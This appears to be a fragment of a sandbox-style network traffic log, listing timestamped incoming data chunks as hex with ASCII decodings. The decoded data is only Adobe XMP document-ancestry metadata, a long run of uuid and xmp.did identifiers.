69 3e 75 75 69 64 3a 38 41 43 46 36 30 32 43 45 34 39 30 44 44 31 31 41 43 37 38 38 34 33 39 34 33 31 43 31 35 34 32 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 44 44 30 39 38 43 41 41 39 45 44 43 31 31 4
1 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 
42 31 34 30 46 30 46 36 39 33 31 31 31 44 44 41 35 46 42 46 34 45 33 37 39 46 41 34 33 44 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 36 43 42 33 44 
Data Ascii: 4392</rdf:li> <rdf:li>uuid:8A8D68F46C0F11DC9669A0A4C993F0F6</rdf:li> <rdf:li>uuid:8ACF602CE490DD11
AC788439431C1542</rdf:li> <rdf:li>uuid:8ADD098CAA9EDC11A04398050076FC83</rdf:li> <rdf:li>uuid:8B140F
0F693111DDA5FBF4E379FA43DB</rdf:li> <rdf:li>uuid:8B16CB3D

2022-07-01 09:01:55 UTC 5421 IN Data Raw: 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 39 38 34 37 33 35 33 35 34 36 44 45 31 31 38 45 30 35 45 30 30 
41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 41 33 42 31 45 
31 38 42 41 32 44 45 31 31 42 45 44 37 43 35 37 44 45 34 38 36 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 75 75 69 64 3a 42 44 44 35 36 35 38 44 41 39 41 41 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 
37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 30 32 46 31 43 42 34 35 32 33 45 31 
31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 
64 3a 42 45 36 30 36 36 39 38 43 31 45 44 31 31 44 42 41 31 31 39 41 43 36 
Data Ascii: rdf:li>uuid:BD9847353546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:BDA3B1E18BA2DE11BED7C
57DE486FE49</rdf:li> <rdf:li>uuid:BDD5658DA9AA11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:BE02F1CB452
3E111B0DFB86470705002</rdf:li> <rdf:li>uuid:BE606698C1ED11DBA119AC6

2022-07-01 09:01:55 UTC 5428 IN Data Raw: 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 
44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 44 32 44 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 44 31 31 39 39 34 37 45 30 33 
43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 39 38 30 41 32 3
1 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 36 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 75 75 69 64 3a 44 45 41 31 39 30 31 30 42 36 42 37 44 45 31 31 38 46 39 32 43 37 39 33 33 36 38 43 42 33 35 
31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 
Data Ascii: 2BECE2974D198</rdf:li> <rdf:li>uuid:DE186DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uu
id:DE68D869591BDD119947E03C52BEF1B0</rdf:li> <rdf:li>uuid:DE980A215AE6DE1190AEBAF6332FC6C0</rdf:li> 
<rdf:li>uuid:DEA19010B6B7DE118F92C793368CB351</rdf:li> <rdf:li>uuid

2022-07-01 09:01:55 UTC 5444 IN Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 
37 32 30 36 38 31 31 39 31 38 39 45 34 39 46 39 44 45 33 30 39 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 39 35 36 43 30 45 44 32 
32 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 3
2 30 36 38 31 31 39 32 42 30 39 35 39 33 46 44 31 30 36 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 36 43 30 45 43 39 44 36 46 43 
35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: 4</rdf:li> <rdf:li>xmp.did:01801174072068119189E49F9DE3090B</rdf:li> <rdf:li>xmp.did:0180117407206
81192B08956C0ED2270</rdf:li> <rdf:li>xmp.did:018011740720681192B09593FD106902</rdf:li> <rdf:li>xmp.did:0180117
40720681192B096C0EC9D6FC5</rdf:li> <rdf:li>xmp.

2022-07-01 09:01:55 UTC 5460 IN Data Raw: 37 36 32 34 44 32 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 
34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 39 34 44 43 32 38 32 32 46 44 42 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 45 46 31 41 
36 45 33 36 41 42 44 46 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 3
8 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 39 46 31 42 36 39 31 35 33 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 
36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
Data Ascii: 7624D21CA</rdf:li> <rdf:li>xmp.did:04801174072068118DBBE94DC2822FDB</rdf:li> <rdf:li>xmp.did:04801
174072068118EF1A6E36ABDF900</rdf:li> <rdf:li>xmp.did:04801174072068118F629F1B691538C0</rdf:li> <rdf:
li>xmp.did:04801174072068118F62EE64CEC33CEF</rdf:li> <rdf

2022-07-01 09:01:55 UTC 5468 IN Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 
39 37 41 35 38 33 37 39 41 31 45 33 42 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 42 37 36 46 36 43 34 30 32 44 41 41 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 
45 43 36 44 39 38 46 43 42 42 33 41 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 
Data Ascii: i> <rdf:li>xmp.did:068011740720681197A58379A1E3B414</rdf:li> <rdf:li>xmp.did:0680117407206811994CB
76F6C402DAA</rdf:li> <rdf:li>xmp.did:06801174072068119EC6D98FCBB3A492</rdf:li> <rdf:li>xmp.did:06801
17407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0680

2022-07-01 09:01:55 UTC 5484 IN Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 35 35 66 62 39 34 2d 37 34 64 38 2d 31 63 34 
63 2d 61 38 36 39 2d 61 65 39 31 34 36 64 32 35 31 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 30 65 38 33 31 64 36 61 2d 62 34 61 31 2d 34 39 36 36 2d 39 62 37 31 2d 30 66 37 31 33 66 63 38 36 
39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 35 35 65 34 2d 66 
33 31 37 2d 36 34 34 63 2d 61 39 35 33 2d 36 64 64 65 64 65 64 62 35 38 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 65 61 37 35 38 34 2d 65 61 65 61 2d 66 31 34 63 2d 39 30 39 31 2d 61 30 
38 39 62 39 30 31 33 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: > <rdf:li>xmp.did:0e55fb94-74d8-1c4c-a869-ae9146d251f5</rdf:li> <rdf:li>xmp.did:0e831d6a-b4a1-4966-9b71-
0f713fc86995</rdf:li> <rdf:li>xmp.did:0e8355e4-f317-644c-a953-6ddededb58f6</rdf:li> <rdf:li>xmp.did:0eea7584-eaea-
f14c-9091-a089b901311e</rdf:li> <rdf:
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2022-07-01 09:01:55 UTC 5500 IN Data Raw: 61 2d 34 33 30 35 2d 38 37 30 65 2d 36 38 34 65 34 39 65 37 64 34 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 39 38 30 33 33 2d 36 38 36 39 2d 34 31 63 65 2d 39 30 31 37 2d 39 
62 66 63 37 36 39 62 64 37 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 
37 41 43 44 38 43 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 38 45 35 34 38 33 42 36 39 31 45 34 31 31 41 41 34 32 45 43 
44 44 33 35 42 44 43 44 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 39 
66 66 35 30 31 2d 39 33 39 30 2d 38 65 34 63 2d 39 35 61 39 2d 37 64 30 
Data Ascii: a-4305-870e-684e49e7d45a</rdf:li> <rdf:li>xmp.did:20798033-6869-41ce-9017-9bfc769bd75d</rdf:li> <r
df:li>xmp.did:207ACD8C07206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:208E5483B691E411AA42ECDD35BD
CD6B</rdf:li> <rdf:li>xmp.did:209ff501-9390-8e4c-95a9-7d0

2022-07-01 09:01:57 UTC 6442 IN Data Raw: 43 45 31 46 43 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 
41 37 46 41 34 34 37 46 41 43 31 31 45 31 39 35 35 45 42 31 31 39 35 33 39 35 31 32 32 37 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 42 30 43 35 44 41 46 31 32 30 36 38 31 31 42 44 34 43 46 34 
46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 44 4
5 33 30 41 34 37 44 36 41 31 31 45 30 42 31 42 46 45 43 36 30 38 36 37 33 39 36 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 46 32 44 42 36 30 32 39 32 30 36 38 31 31 41 36 31 33 46 36 33 37 
39 42 39 42 32 30 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: CE1FCC73</rdf:li> <rdf:li>xmp.did:27A7FA447FAC11E1955EB11953951227</rdf:li> <rdf:li>xmp.did:27B0C5
DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did:27DE30A47D6A11E0B1BFEC60867396BF</rdf:li> <rdf:l
i>xmp.did:27F2DB6029206811A613F6379B9B20C2</rdf:li> <rdf:

2022-07-01 09:01:57 UTC 6458 IN Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 46 39 42 38 46 35 33 37 32 36 36 38 31 
31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 33 35 64 66 30 39 62 62 2d 34 64 37 37 2d 34 32 37 30 2d 39 37 35 64 2d 63 39 38 39 37 32 64 36 66 31 38 
30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 30 32 34 38 35 39 31 45 32 30 
36 38 31 31 38 46 36 32 42 30 37 31 36 39 32 31 45 41 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 33 36 31 34 32 38 36 35 39 35 32 30 36 38 31 31 39 31 30 39 45 35 35 34 31 35 34 44 33 32 42 31 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 
Data Ascii: li> <rdf:li>xmp.did:35F9B8F537266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:35df09bb-4d77-4270-9
75d-c98972d6f180</rdf:li> <rdf:li>xmp.did:360248591E2068118F62B0716921EAB0</rdf:li> <rdf:li>xmp.did:3614286595
2068119109E554154D32B1</rdf:li> <rdf:li>xmp.did

2022-07-01 09:01:57 UTC 6474 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 32 35 30 31 31 34 30 43 38 
45 31 31 31 41 46 38 42 41 32 37 33 30 46 46 45 31 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 
6d 70 2e 64 69 64 3a 34 34 45 36 38 38 36 44 30 41 32 30 36 38 31 31 38 32 32 41 42 35 41 45 42 42 44 34 35 33 31 32 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 46 44 33 35 37 35 33 42 32 30 36 
38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 34 34 61 38 66 30 65 39 2d 66 36 38 33 2d 66 33 34 64 2d 39 61 39 39 2d 37 62 65 30 32 32 37 62 66 
65 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
Data Ascii: df:li> <rdf:li>xmp.did:44E2501140C8E111AF8BA2730FFE128C</rdf:li> <rdf:li>xmp.did:44E6886D0A2068118
22AB5AEBBD45312</rdf:li> <rdf:li>xmp.did:44FD35753B2068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:44a8f0e9-f6
83-f34d-9a99-7be0227bfe18</rdf:li> <rdf:li>xmp.

2022-07-01 09:01:57 UTC 6482 IN Data Raw: 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 39 31 44 42 
34 36 39 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 
45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 41 32 35 33 36 31 3
7 30 32 35 36 38 31 31 39 33 37 35 45 30 39 31 36 39 37 38 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 78 6d 70 2e 64 69 64 3a 34 44 42 30 44 34 33 37 30 39 44 43 44 46 31 31 38 35 42 37 46 36 38 44 42 43 32 46 38 
43 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
Data Ascii: F3B</rdf:li> <rdf:li>xmp.did:4D891DB469216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4D9F09B0692
06811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:4DA25361702568119375E09169783C56</rdf:li> <rdf:li>xmp
.did:4DB0D43709DCDF1185B7F68DBC2F8CF4</rdf:li> <rdf:li>xm

2022-07-01 09:01:57 UTC 6498 IN Data Raw: 38 31 31 39 37 41 35 39 44 42 37 33 36 46 35 33 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 78 6d 70 2e 64 69 64 3a 35 44 34 33 32 36 30 44 31 39 32 30 36 38 31 31 38 44 42 42 42 33 34 38 37 44 46 34 37 33 
35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 35 45 46 43 34 34 46 36 32 
30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 7
8 6d 70 2e 64 69 64 3a 35 44 37 31 44 43 36 30 31 34 32 30 36 38 31 31 38 37 31 46 45 44 30 33 43 31 42 30 36 30 46 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 36 31 32 44 44 43 38 31 45 
45 32 31 31 42 43 33 39 44 42 39 41 41 33 39 42 46 37 42 30 3c 2f 72 64 
Data Ascii: 81197A59DB736F535FE</rdf:li> <rdf:li>xmp.did:5D43260D192068118DBBB3487DF47355</rdf:li> <rdf:li>xmp
.did:5D5EFC44F62068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:5D71DC6014206811871FED03C1B060F7</rdf:li> 
<rdf:li>xmp.did:5D7612DDC81EE211BC39DB9AA39BF7B0</rd

2022-07-01 09:01:57 UTC 6514 IN Data Raw: 44 38 43 38 33 46 38 33 44 32 31 39 46 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 36 42 36 30 37 43 43 45 31 39 32 30 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 39 45 39 35 43 38 34 32 44 43 45 30 31 
31 38 44 41 42 44 36 32 32 30 44 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 36 42 42 42 41 38 35 31 30 45 37 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 
41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 
Data Ascii: D8C83F83D219F7B</rdf:li> <rdf:li>xmp.did:6B607CCE19206811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did
:6B9E95C842DCE0118DABD6220DDA49C7</rdf:li> <rdf:li>xmp.did:6BBBA8510E72E8118D3CA650EC53AA58</rdf:li> 
<rdf:li>xmp.did:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li

2022-07-01 09:01:57 UTC 6522 IN Data Raw: 46 31 34 45 33 31 31 41 31 31 41 44 42 30 41 44 34 46 30 31 44 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 32 41 36 34 41 38 30 37 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 
35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 43 41 31 31 
34 38 32 32 30 36 38 31 31 38 43 31 34 38 30 34 34 46 35 33 41 30 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 62 35 34 30 61 2d 36 37 38 61 2d 34 32 34 37 2d 38 39 38 32 2d 31 36 36 
61 61 39 63 36 34 38 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 34 31 
30 38 31 46 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 
Data Ascii: F14E311A11ADB0AD4F01DCF</rdf:li> <rdf:li>xmp.did:722A64A8072068118C14B8707D570A5C</rdf:li> 
<rdf:li>xmp.did:723CA114822068118C148044F53A0F87</rdf:li> <rdf:li>xmp.did:723b540a-678a-4247-8982-166aa9c64
84e</rdf:li> <rdf:li>xmp.did:7241081F0A2068118A6DC638F9FC
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2022-07-01 09:01:57 UTC 6538 IN Data Raw: 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 31 41 31 37 
32 41 32 45 32 30 36 38 31 31 38 33 36 37 43 31 36 37 32 41 37 32 37 31 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 32 39 63 30 30 39 2d 35 66 30 33 2d 34 34 66 31 2d 38 39 36 61 2d 30 62 
35 39 32 63 33 66 64 30 61 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 33 6
4 31 36 33 64 2d 37 32 37 39 2d 34 36 61 65 2d 39 66 65 63 2d 35 34 32 63 36 32 30 63 33 36 62 36 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 35 42 37 35 37 42 45 45 43 37 45 33 31 31 42 36 44 35 
43 44 30 46 33 37 37 34 39 41 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
Data Ascii: D27A</rdf:li> <rdf:li>xmp.did:821A172A2E2068118367C1672A727171</rdf:li> <rdf:li>xmp.did:8229c009-5f03-
44f1-896a-0b592c3fd0a7</rdf:li> <rdf:li>xmp.did:823d163d-7279-46ae-9fec-542c620c36b6</rdf:li> <rdf:li>xmp.
did:825B757BEEC7E311B6D5CD0F37749A43</rdf:li> <

2022-07-01 09:01:57 UTC 6554 IN Data Raw: 2d 39 30 61 35 2d 35 30 30 64 38 31 63 37 34 37 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
78 6d 70 2e 64 69 64 3a 38 65 35 32 35 38 61 32 2d 61 64 66 66 2d 34 31 61 65 2d 38 64 36 37 2d 32 37 61 32 33 36 63 
64 39 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 38 30 61 36 63 65 
2d 39 38 36 38 2d 63 62 34 34 2d 38 65 61 37 2d 37 31 35 39 30 35 66 35 37 38 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 7
2 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 38 38 64 62 62 2d 36 66 62 39 2d 64 39 34 36 2d 62 64 37 32 2d 
36 30 33 65 61 65 61 38 61 66 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 
65 61 39 30 66 39 33 2d 65 65 64 33 2d 61 32 34 63 2d 61 33 37 36 2d 35 
Data Ascii: -90a5-500d81c7477f</rdf:li> <rdf:li>xmp.did:8e5258a2-adff-41ae-8d67-27a236cd9613</rdf:li> <rdf:li>
xmp.did:8e80a6ce-9868-cb44-8ea7-715905f57865</rdf:li> <rdf:li>xmp.did:8ea88dbb-6fb9-d946-bd72-603eaea8af6c</rd
f:li> <rdf:li>xmp.did:8ea90f93-eed3-a24c-a376-5

2022-07-01 09:01:57 UTC 6562 IN Data Raw: 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 35 41 36 38 42 45 
30 37 32 30 36 38 31 31 39 32 42 30 45 39 30 44 30 34 38 45 41 37 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 36 61 39 62 38 38 2d 66 32 33 36 2d 34 61 31 63 2d 61 39 35 33 2d 30 31 66 31 
62 38 36 62 62 65 30 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 37 66 34 3
4 63 63 2d 61 32 63 31 2d 38 63 34 64 2d 61 30 35 34 2d 36 34 30 36 35 66 38 63 64 37 66 62 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 36 39 38 66 32 66 36 2d 33 66 31 66 2d 34 62 34 35 2d 62 33 
63 31 2d 64 66 31 39 39 63 36 32 64 64 37 31 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: 35</rdf:li> <rdf:li>xmp.did:965A68BE0720681192B0E90D048EA72C</rdf:li> <rdf:li>xmp.did:966a9b88-f236-
4a1c-a953-01f1b86bbe0e</rdf:li> <rdf:li>xmp.did:967f44cc-a2c1-8c4d-a054-64065f8cd7fb</rdf:li> <rdf:li>xmp.di
d:9698f2f6-3f1f-4b45-b3c1-df199c62dd71</rdf:li>

2022-07-01 09:01:57 UTC 6578 IN Data Raw: 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 39 31 36 41 33 41 31 41 32 30 36 38 31 31 38 43 31 34 42 
38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 
45 31 43 46 46 37 37 34 32 31 36 38 31 31 39 39 34 43 41 31 41 43 41 37 35 43 45 34 34 34 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 31 34 39 32 41 39 45 31 42 45 31 31 31 38 38 45 33 41 45 
39 44 39 32 43 41 45 46 32 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 38 46 
46 41 44 45 43 30 46 32 30 36 38 31 31 39 32 42 30 46 43 38 35 30 32 37 33 30 46 45 35 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 39 30 37 45 30 43 42 46 
Data Ascii: df:li>xmp.did:A8916A3A1A2068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:A8E1CFF774216811
994CA1ACA75CE444</rdf:li> <rdf:li>xmp.did:A8F1492A9E1BE11188E3AE9D92CAEF2E</rdf:li> <rdf:li>xmp.did:
A8FFADEC0F20681192B0FC8502730FE5</rdf:li> <rdf:li>xmp.did:A907E0CBF

2022-07-01 09:01:57 UTC 6594 IN Data Raw: 31 31 39 32 42 30 42 41 41 39 30 34 44 45 30 46 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
